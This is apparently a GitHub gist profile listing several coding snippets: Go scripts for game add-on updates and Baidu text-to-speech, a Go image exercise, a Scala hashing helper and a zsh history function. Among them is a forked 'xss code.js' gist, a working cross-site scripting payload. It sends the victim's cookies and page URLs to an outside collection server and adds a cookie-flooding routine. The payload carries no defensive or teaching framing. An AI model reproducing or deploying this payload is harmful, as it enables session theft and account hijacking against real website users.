Skip to content

Instantly share code, notes, and snippets.

View Vic020's full-sized avatar
🎯
Focusing

Vic Yu Vic020

🎯
Focusing
View GitHub Profile
@Vic020
Vic020 / bigfoot.go
Created October 10, 2020 09:27
mac版本大脚更新脚本
package main
import (
"archive/zip"
"bytes"
"fmt"
"gopkg.in/cheggaaa/pb.v1"
"io"
"io/ioutil"
"log"

Keybase proof

I hereby claim:

  • I am vic020 on github.
  • I am vicyu (https://keybase.io/vicyu) on keybase.
  • I have a public key ASCtCTwiE6oy2Tv4n_F6tb8M_KLmA9Lmbv60t0O6tXUZMAo

To claim this, I am signing this object:

@Vic020
Vic020 / tts.go
Created January 24, 2018 09:43
tts语音合成,用了百度api来合成,按段和每段500字分割,然后合成一个音频
package main
import (
"net/http"
"fmt"
"io/ioutil"
"encoding/json"
"os"
"path/filepath"
"strings"
@Vic020
Vic020 / Images.go
Created August 22, 2017 05:58
Exercise: Images Solutions
/* Exercise: Images Solutions */
package main
import (
"golang.org/x/tour/pic"
"image"
"image/color"
)
@Vic020
Vic020 / EncryptionUtil.scala
Created December 23, 2016 07:18
scala encryption util wrapper . Include md5 sha1 sha224 sha256 sha512
import java.security.MessageDigest
object EncryptionUtil {
def md5(string: String): String = MessageDigest.getInstance("MD5").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString
def sha1(string: String): String = MessageDigest.getInstance("SHA-1").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString
def sha224(string: String): String = MessageDigest.getInstance("SHA-224").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString
def sha256(string: String): String = MessageDigest.getInstance("SHA-256").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString
@Vic020
Vic020 / xss code.js
Created December 21, 2016 03:22 — forked from TangMonk/xss code.js
(function(){(new Image()).src='http://myserver.com/xss//index.php?do=api&id=kQjOff&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://myserver.com/xss//index.php?do=keepsession&id=kQjOff&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
function setCookies () {
/*apache server limit 8192*/
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
var cookie = "ray"+i+"="+str+";path=/";
@Vic020
Vic020 / zsh_stats.sh
Last active September 18, 2016 08:28
oh my zsh statistics history script
zsh_stats () {
fc -l 1 | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n20
}